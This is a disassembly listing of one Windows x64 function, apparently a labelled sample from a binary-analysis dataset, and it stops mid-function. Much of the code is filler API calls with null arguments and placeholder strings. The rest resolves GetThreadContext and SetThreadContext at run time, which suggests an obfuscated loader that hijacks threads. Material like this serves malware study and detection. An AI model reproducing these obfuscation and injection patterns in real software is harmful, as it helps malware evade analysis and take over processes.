Function at 0x401560
Capabilities:
Clear file content
Set current directory

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x558
mov rax, qword [rdx + 8]
mov qword [rsp + 0x48], rax
mov rax, qword [0x004cacb0]
mov qword [rsp + 0x5b0], r8
cmp dword [rax], 0x9767
jne 0x401b69
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rbp, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor ecx, ecx
call rbp
mov r14, qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, str.RoyalHermiston
call r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov r10, qword [0x004ca560]
mov rax, qword [0x004cabc0]
xor ecx, ecx
mov r12, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov edx, dword [r10]
mov dword [rax], edx
call r12
mov rax, qword [0x004ca390]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caa80]
mov rdi, qword [0x004ca760]
xor ecx, ecx
mov rsi, qword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [rdx], eax
mov rax, qword [0x004ca690]
mov dword [rax], 0x8fe1b2d2
mov rax, qword [0x004ca500]
mov eax, dword [rax]
mov dword [rdi], eax
call rsi
mov ecx, 0xc1b5df61
call fcn.00414620
mov rdx, qword [0x004caf60]
mov rdi, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
mov dword [rdx], eax
call rdi
mov rax, qword [0x004ca380]
mov rbx, qword [0x004ca7d0]
lea rcx, str.PatsyTurcotte
mov r13, qword [0x004cae00]
mov edx, dword [rax]
mov rax, qword [0x004cae50]
mov dword [rax], edx
mov rax, qword [0x004ca4f0]
mov edx, dword [r13]
mov eax, dword [rax]
mov dword [rbx], eax
mov rax, qword [0x004ca5c0]
mov rbx, qword [0x004ca5f0]
mov dword [rax], 0xf7cc80ea
mov rax, qword [0x004cab20]
mov dword [rax], 0xd281d284
mov rax, qword [0x004cae40]
mov eax, dword [rax]
mov dword [rbx], eax
mov rax, qword [str.7U5]
mov dword [rax], edx
mov rax, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.Ut_expedita_aliquam_et_reiciendis_sint_aut_incidunt_est
mov qword [rsp + 0x40], rax
call rax
mov rax, qword [0x004cab80]
mov edx, dword [rax]
mov rax, qword [0x004cad70]
mov dword [rax], edx
mov rax, qword [0x004cabb0]
mov ecx, dword [rax]
call fcn.00414620
mov rbx, qword [0x004ca510]
xor edx, edx
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
mov dword [rbx], eax
mov rax, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x50], rax
call rax
mov r9, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor ecx, ecx
mov qword [rsp + 0x70], r9
call r9
mov rax, qword [0x004ca640]
xor ecx, ecx
mov dword [rax], 0xd2889bd3
mov rax, qword [0x004caf10]
mov eax, dword [rax]
mov dword [rbx], eax
mov rax, qword [0x004ca420]
mov eax, dword [rax]
mov dword [r13], eax
mov rax, qword [0x004cae60]
mov r13, qword [0x004ca2f0]
mov edx, dword [rax]
mov rax, qword [0x004ca730]
mov dword [r13], 0x15feb2c1
mov dword [rax], edx
call rdi
mov rax, qword [0x004ca3b0]
mov ecx, 0x9eb247
mov dword [rax], 0x8af2c34c
call fcn.00414620
mov rdx, qword [0x004cae30]
lea r8, str.Quidem_ullam_tenetur_enim_ad_quia_recusandae_molestiae_ut_sunt_ut
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenEventA]
mov rax, qword [0x004ca5b0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca9f0]
mov dword [rax], edx
call rsi
mov rax, qword [0x004ca530]
mov rbx, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.JaniceAbshire
mov dword [rax], 0x8c2a5ef2
mov rax, qword [0x004ca250]
mov dword [rax], 0x86ba5359
call rbx
mov rax, qword [0x004ca9c0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cabd0]
mov ecx, 0x29d9a63f
mov dword [rdx], eax
mov rax, qword [0x004ca400]
mov eax, dword [rax]
mov dword [r13], eax
call fcn.00414620
mov rdx, qword [0x004ca220]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor edx, edx
mov qword [rsp + 0x58], rax
call rax
lea rcx, str.SantiagoWhite
call rbx
mov r15, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor edx, edx
lea rcx, str.A_cupiditate_similique_delectus_et_molestiae_eveniet_qui_quia_debitis_aut
call r15
mov rax, qword [0x004ca5f0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca370]
mov dword [rax], edx
call r12
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor ecx, ecx
call rbp
mov rax, qword [0x004ca720]
xor ecx, ecx
mov r13, qword [sym.imp.KERNEL32.dll_FindClose]
mov edx, dword [rax]
mov rax, qword [0x004ca490]
mov dword [rax], edx
call r13
mov r11, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x68], r11
call r11
mov r10, qword [0x004ca560]
mov rax, qword [0x004ca2d0]
xor ecx, ecx
mov edx, dword [r10]
mov dword [rax], edx
call rsi
mov rax, qword [0x004cab40]
mov r10, qword [sym.imp.KERNEL32.dll_SetCommMask]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004caca0]
mov qword [rsp + 0x60], r10
mov dword [rax], edx
xor edx, edx
call r10
xor ecx, ecx
call r12
mov rax, qword [0x004ca3d0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca610]
mov dword [rax], edx
call qword [sym.imp.KERNEL32.dll_SetEvent]
xor r8d, r8d
mov r11, qword [rsp + 0x68]
xor edx, edx
xor ecx, ecx
call r11
xor edx, edx
mov r12, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor ecx, ecx
call r12
mov r9, qword [rsp + 0x70]
xor ecx, ecx
call r9
lea rdx, str.Ipsam_voluptatem_est_qui_dolor
lea rcx, str.Qui_ut_voluptas_quo_ab_est_nobis
mov rax, qword [rsp + 0x40]
call rax
mov rax, qword [0x004cae10]
mov rdx, qword [0x004ca7d0]
lea rcx, str.Qui_repellendus_consequatur_doloremque_optio_corporis_commodi_odio_officia_cum
mov eax, dword [rax]
mov dword [rdx], eax
call rbx
xor edx, edx
lea rcx, str.Optio_voluptas_iure_eaque_labore_iste_ullam_rerum_quia
call r15
xor edx, edx
xor ecx, ecx
call r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rbx, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
xor ecx, ecx
mov dword [rsp + 0x20], 0
call rbx
mov rax, qword [0x004ca410]
mov ecx, dword [rax]
call fcn.00414620
mov r12, qword [0x004caeb0]
mov r15, qword [0x004cae80]
mov ecx, dword [r12]
mov dword [r15], eax
call fcn.00414620
mov rdx, qword [0x004ca760]
xor ecx, ecx
mov dword [r15], 0xda544831
mov r15, qword [sym.imp.KERNEL32.dll_SetCommBreak]
mov dword [rdx], eax
call r15
xor ecx, ecx
call rbp
xor ecx, ecx
call rdi
mov rax, qword [0x004ca9d0]
mov dword [rax], 0xe37dc615
mov rax, qword [0x004ca4a0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca450]
xor r9d, r9d
xor r8d, r8d
mov dword [rdx], eax
mov rax, qword [0x004ca760]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xd77f719
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rax
mov r10, qword [rsp + 0x60]
xor edx, edx
xor ecx, ecx
call r10
mov rax, qword [0x004caf10]
xor ecx, ecx
mov dword [rax], 0x366ac416
call rsi
mov rax, qword [0x004ca9e0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [str.Z2iy]
mov dword [rax], edx
call r15
mov rax, qword [0x004caf30]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x63caced6
call qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
xor ecx, ecx
mov rsi, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
call rsi
mov rax, qword [0x004ca6b0]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xf349a554
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004cae70]
lea rcx, str.Debitis_inventore_laboriosam_quam_facere_provident_ea_asperiores
mov dword [rax], 0x891347b5
call r14
xor r8d, r8d
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call rbx
mov ecx, 0x908f68be
call fcn.00414620
mov rdx, qword [0x004cab30]
xor ecx, ecx
mov dword [rdx], eax
call rsi
mov rax, qword [0x004caf50]
xor ecx, ecx
mov dword [rax], 0x5e048843
call r13
mov rax, qword [0x004ca760]
mov ecx, 0xbab3db76
mov eax, dword [rax]
mov dword [r12], eax
call fcn.00414620
mov rdx, qword [0x004ca6d0]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cab80]
xor edx, edx
mov dword [rax], 0xfa519637
mov dword [rsp + 0x20], 0
call rbx
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
call rbx
mov rax, qword [0x004ca5f0]
lea rcx, str.Sunt_excepturi_voluptatem
mov edx, dword [rax]
mov rax, qword [0x004caa90]
mov dword [rax], edx
call r14
lea rdx, str.GetThreadContext
lea rcx, [0x004c222f]
mov dword [rsp + 0xb0], 0x100002
call fcn.00410845
mov rcx, qword [rsp + 0x48]
lea rdx, [rsp + 0x80]
call rax
test eax, eax
je 0x4032eb
mov rax, qword [0x004cacb0]
cmp dword [rax], 0x70ff
jle 0x402108
mov rax, qword [0x004cad40]
lea r8, str.Quaerat_numquam_dicta_quibusdam_debitis
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xe64e35dd
call qword [sym.imp.KERNEL32.dll_OpenEventA]
mov ecx, 0x4eb88966
call fcn.00414620
mov rdx, qword [0x004cac70]
mov dword [rdx], eax
mov rax, qword [0x004ca3f0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cab60]
mov dword [rdx], eax
mov rax, qword [0x004ca550]
mov edx, dword [rax]
mov rax, qword [0x004caf60]
mov dword [rax], edx
mov rax, qword [0x004ca430]
mov edx, dword [rax]
mov rax, qword [0x004cad20]
mov dword [rax], edx
mov rax, qword [0x004ca570]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca1b0]
mov rbx, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
mov dword [rdx], eax
xor edx, edx
mov dword [rsp + 0x20], 0
call rbx
mov rax, qword [0x004cab10]
xor r9d, r9d
xor r8d, r8d
mov r12, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
xor ecx, ecx
mov dword [rax], 0xaa9eebcc
mov rax, qword [0x004cac60]
mov edx, dword [rax]
mov rax, qword [0x004ca3b0]
mov dword [rax], edx
xor edx, edx
call r12
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x40], rax
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov r14, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call r14
mov rax, qword [0x004caa60]
mov ecx, 0xa7d9a2a7
mov dword [rax], 0xecaf7f3b
call fcn.00414620
mov rdx, qword [0x004caa80]
mov ecx, 0xb1bc0102
mov dword [rdx], eax
mov rax, qword [0x004ca4f0]
mov edx, dword [rax]
mov rax, qword [0x004ca4c0]
mov dword [rax], edx
call fcn.00414620
mov rdi, qword [0x004cac90]
lea rcx, str.Velit_molestiae_quia_nihil_vitae_et
mov dword [rdi], eax
mov rax, qword [sym.imp.KERNEL32.dll_lstrlenA]
mov qword [rsp + 0x50], rax
call rax
mov rax, qword [0x004ca820]
xor edx, edx
xor ecx, ecx
mov rdi, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov dword [rax], 0xd88b7827
call rdi
mov rax, qword [0x004caf30]
mov rsi, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
mov dword [rax], 0xd4525732
call rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov r10, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor edx, edx
lea rcx, str.Officiis_doloribus_eius_quo_non
mov qword [rsp + 0x60], r10
call r10
mov ecx, 0x8bca9b00
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca590]
mov dword [rdx], eax
xor edx, edx
mov dword [rsp + 0x20], 0
call rbx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call rbx
mov rbp, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
call rbp
mov r15, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.Provident_impedit_sint_necessitatibus_et_velit_quae_totam_est_expedita_non
call r15
xor edx, edx
xor ecx, ecx
mov r13, qword [sym.imp.KERNEL32.dll_SetCommMask]
call r13
lea rcx, str.EmeryWilliamson
call r15
mov rax, qword [0x004ca7a0]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x668f4f31
call qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
mov r11, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
mov qword [rsp + 0x58], r11
call r11
mov rax, qword [0x004caa90]
mov ecx, 0xea2e9c51
mov dword [rax], 0xda9673fd
call fcn.00414620
mov rcx, qword [0x004cac90]
mov r15, qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rcx], eax
xor ecx, ecx
call r15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r12
xor ecx, ecx
call rbp
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r12
xor edx, edx
xor ecx, ecx
call rdi
mov ecx, 0xedf1611b
call fcn.00414620
mov ecx, eax
mov rax, qword [0x004cae00]
mov dword [rax], ecx
mov rax, qword [0x004cadb0]
mov dword [rax], 0x13ba8dbf
mov rax, qword [0x004ca9b0]
mov dword [rax], 0x472bc977
call fcn.00414620
mov rdx, qword [0x004ca290]
mov dword [rdx], eax
mov rax, qword [0x004ca7b0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caf80]
xor ecx, ecx
mov dword [rdx], eax
call rbp
xor ecx, ecx
call rsi
mov rax, qword [0x004ca2b0]
mov rdx, qword [0x004ca810]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
call rsi
mov rax, qword [0x004ca6b0]
mov ecx, 0xa5a5827c
mov dword [rax], 0x53631a10
call fcn.00414620
mov rdx, qword [0x004cae40]
mov dword [rdx], eax
mov rax, qword [0x004caa60]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca690]
lea rcx, str.AntonettePacocha
mov dword [rdx], eax
lea rdx, str.BobbieMcClure
call qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov r11, qword [rsp + 0x58]
xor ecx, ecx
call r11
mov rax, qword [0x004ca230]
xor ecx, ecx
mov r12, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov edx, dword [rax]
mov rax, qword [0x004ca4a0]
mov dword [rax], edx
xor edx, edx
call r12
mov r10, qword [rsp + 0x60]
xor edx, edx
lea rcx, str.Quod_inventore_et_similique_ut_alias
call r10
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov rax, qword [0x004ca570]
mov rcx, qword [0x004ca1f0]
mov eax, dword [rax]
mov dword [rcx], eax
mov ecx, 0x819b3b6b
call fcn.00414620
mov rdx, qword [0x004ca740]
xor ecx, ecx
mov dword [rdx], eax
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov ecx, 0x229411b0
call fcn.00414620
mov rdx, qword [0x004ca5d0]
mov dword [rdx], eax
mov rax, qword [0x004ca590]
mov dword [rax], 0x2a28ce91
mov rax, qword [0x004ca350]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rbp, qword [0x004ca310]
mov dword [rbp], eax
mov rax, qword [0x004cabd0]
mov edx, dword [rax]
mov rax, qword [0x004ca440]
mov dword [rax], edx
xor edx, edx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call r14
xor ecx, ecx
call rsi
xor edx, edx
xor ecx, ecx
call r13
mov rsi, qword [0x004caa00]
mov ecx, dword [rsi]
call fcn.00414620
lea rcx, str.Quam_sit_optio_beatae_et
mov dword [rbp], eax
mov rax, qword [rsp + 0x50]
call rax
xor ecx, ecx
call r15
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x40]
call rax
mov rax, qword [0x004ca480]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca810]
mov dword [rdx], eax
xor edx, edx
mov dword [rsp + 0x20], 0
call rbx
mov rax, qword [0x004cac00]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x2392715f
call rdi
mov rax, qword [0x004cadb0]
mov edx, dword [rax]
mov rax, qword [0x004ca9f0]
mov dword [rax], edx
mov rax, qword [0x004ca6c0]
mov dword [rax], 0x9fe87836
mov rax, qword [0x004ca7f0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca340]
mov ecx, 0xa879860
mov dword [rdx], eax
mov rax, qword [0x004cae00]
mov dword [rax], 0x912e3e0c
call fcn.00414620
mov rdx, qword [0x004caa10]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca1f0]
mov edx, dword [rax]
mov rax, qword [0x004ca330]
mov dword [rax], edx
mov eax, dword [rbp]
mov dword [rsi], eax
call r15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor edx, edx
xor ecx, ecx
call r12
mov rax, qword [rsp + 0x5b0]
lea rdx, str.SetThreadContext
lea rcx, [0x004c222f]
mov qword [rsp + 0x100], rax
call fcn.00410845
mov rcx, qword [rsp + 0x48]
lea rdx, [rsp + 0x80]
call rax
test eax, eax
je 0x4032eb
mov rax, qword [0x004cacb0]
cmp dword [rax], 0x15e7
jle 0x402a51
mov rdi, qword [sym.imp.KERNEL32.dll_FindClose]
xor ecx, ecx
call rdi
mov rax, qword [0x004ca7f0]
mov ecx, dword [rax]
call fcn.00414620
mov rsi, qword [0x004caca0]
mov ecx, 0x393f3846
mov dword [rsi], eax
mov rax, qword [0x004ca6c0]
mov dword [rax], 0x6cb9d159
call fcn.00414620
mov rsi, qword [0x004ca1c0]
mov dword [rsi], eax
mov rax, qword [0x004ca510]
mov dword [rax], 0x55ef7570
mov rax, qword [0x004ca400]
mov ecx, dword [rax]
call fcn.00414620
mov r11, qword [0x004ca7a0]
mov rsi, qword [0x004cada0]
xor ecx, ecx
mov rbp, qword [sym.imp.KERNEL32.dll_SetLastError]
mov edx, dword [r11]
mov dword [rsi], eax
mov rax, qword [0x004ca5b0]
mov dword [rax], edx
mov rax, qword [0x004cac90]
mov dword [rax], 0xa6b0c1e5
call rbp
mov rax, qword [0x004ca2d0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caea0]
lea rcx, str.Accusamus_neque_ratione_fugiat
mov dword [rdx], eax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
mov rbx, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [sym.imp.KERNEL32.dll_OpenEventA]
xor edx, edx
xor ecx, ecx
lea r8, str.MrKayOConnerDVM
mov qword [rsp + 0x50], rax
call rax
mov rax, qword [0x004ca2e0]
mov ecx, dword [rax]
call fcn.00414620
mov r10, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
mov rdx, qword [0x004cad90]
xor ecx, ecx
mov qword [rsp + 0x78], r10
mov dword [rdx], eax
xor edx, edx
call r10
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
mov qword [rsp + 0x40], rax
call rax
mov rax, qword [0x004ca550]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca610]
xor ecx, ecx
mov dword [rdx], eax
call rbp
mov ecx, 0xafea642c
call fcn.00414620
mov rsi, qword [0x004ca630]
mov dword [rsi], eax
mov rax, qword [0x004ca770]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca650]
mov dword [rdx], eax
mov rax, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
xor edx, edx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x58], rax
call rax
xor ecx, ecx
mov r14, qword [sym.imp.KERNEL32.dll_GetFileType]
call r14
mov rax, qword [0x004ca660]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004caac0]
mov dword [rdx], eax
mov rax, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
xor edx, edx
mov qword [rsp + 0x60], rax
call rax
mov rax, qword [0x004cae90]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x29aec522
call rbx
mov ecx, 0x4ea6c7ca
call fcn.00414620
mov rdx, qword [0x004ca470]
mov rsi, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor ecx, ecx
mov dword [rdx], eax
call rsi
xor ecx, ecx
mov rax, qword [rsp + 0x40]
call rax
mov r15, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
call r15
mov rax, qword [0x004ca700]
mov rcx, qword [0x004ca420]
mov dword [rax], 0x66761115
mov rax, qword [0x004ca6f0]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call rbp
xor ecx, ecx
call rdi
mov rax, qword [0x004cadd0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca3d0]
mov ecx, 0x1edc5055
mov dword [rdx], eax
mov rax, qword [0x004ca2b0]
mov edx, dword [rax]
mov rax, qword [0x004cadb0]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004caa30]
mov ecx, 0x8e8ae822
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004cab80]
xor ecx, ecx
mov dword [rdx], eax
call r14
mov r12, qword [sym.imp.KERNEL32.dll_SetCommMask]
xor edx, edx
xor ecx, ecx
call r12
xor edx, edx
xor ecx, ecx
call r12
mov rax, qword [0x004ca210]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caa00]
xor ecx, ecx
mov dword [rdx], eax
call rsi
xor r9d, r9d
xor r8d, r8d
mov rsi, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rsi
xor ecx, ecx
mov rax, qword [rsp + 0x40]
call rax
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.Asperiores_id_sequi_qui_molestiae_corrupti_enim_quis_magnam_doloribus
mov qword [rsp + 0x68], rax
call rax
mov rax, qword [0x004ca450]
xor ecx, ecx
mov dword [rax], 0x5e804a3f
call r15
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
mov rax, qword [0x004cad10]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca1e0]
mov dword [rax], edx
xor edx, edx
call r12
mov r13, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor ecx, ecx
call r13
lea r8, str.AraceliHuel
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x004cab00]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca220]
lea rcx, str.VilmaCassin
mov dword [rdx], eax
mov rax, qword [0x004ca3c0]
lea rdx, str.ProfAnissaKuhn
mov dword [rax], 0x509fb77d
mov rax, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov qword [rsp + 0x70], rax
call rax
mov rax, qword [0x004caec0]
mov r11, qword [0x004ca7a0]
mov ecx, 0x58097977
mov edx, dword [rax]
mov rax, qword [0x004caad0]
mov dword [r11], 0x590322e0
mov dword [rax], edx
mov rax, qword [0x004ca460]
mov edx, dword [rax]
mov rax, qword [0x004ca750]
mov dword [rax], edx
mov rax, qword [0x004caf40]
mov dword [rax], 0x8f2c4d2b
call fcn.00414620
mov rcx, qword [0x004ca290]
xor r9d, r9d
xor r8d, r8d
mov dword [rcx], eax
mov rax, qword [0x004ca9c0]
mov dword [rax], 0xd95088d4
mov rax, qword [0x004caca0]
mov dword [rax], 0xe05d843c
mov rax, qword [0x004cada0]
mov dword [rax], 0xe9ed250c
mov rax, qword [0x004cab00]
mov edx, dword [rax]
mov rax, qword [0x004ca260]
mov dword [rax], edx
mov rax, qword [0x004caaa0]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x69a01aa1
mov rax, qword [rsp + 0x58]
mov dword [rsp + 0x20], 0
call rax
mov rax, qword [0x004cadd0]
mov ecx, 0x9950493
mov dword [rax], 0xda4417f8
call fcn.00414620
mov rdx, qword [0x004cab10]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call rsi
xor ecx, ecx
call rbp
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call rsi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call rsi
mov rax, qword [0x004ca5c0]
xor ecx, ecx
mov dword [rax], 0x5a0cbca7
call r13
mov rax, qword [0x004ca1f0]
mov dword [rax], 0x55a73ef2
mov rax, qword [0x004ca520]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004cab40]
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x60]
call rax
xor ecx, ecx
call r14
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call rsi
mov rax, qword [0x004ca450]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cab20]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca290]
mov dword [rax], 0x6a730f79
call r15
mov r10, qword [rsp + 0x78]
xor edx, edx
xor ecx, ecx
call r10
mov rax, qword [0x004cae80]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xecfa4843
mov rax, qword [0x004ca4a0]
mov dword [rax], 0x769547e1
call rbx
xor ecx, ecx
call r13
mov ecx, 0x5b4f92e3
call fcn.00414620
mov rdx, qword [0x004ca340]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r12
mov rax, qword [0x004ca490]
mov rdx, qword [0x004ca7b0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004caa00]
mov dword [rax], 0x1a7e6203
call rbp
lea r8, str.TessKlingII
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rax, qword [0x004caa90]
xor ecx, ecx
mov dword [rax], 0x1ef9cec1
call r13
mov rax, qword [0x004cac70]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x754c7e09
mov rax, qword [0x004caf70]
mov dword [rax], 0x8f0f5a06
mov rax, qword [0x004cad40]
mov dword [rax], 0xf92f87ec
call rbx
mov rax, qword [0x004ca9f0]
mov ecx, 0x26f0cb28
mov dword [rax], 0x815727d2
call fcn.00414620
mov rcx, qword [0x004ca1f0]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
lea rcx, str.SandraKlingI
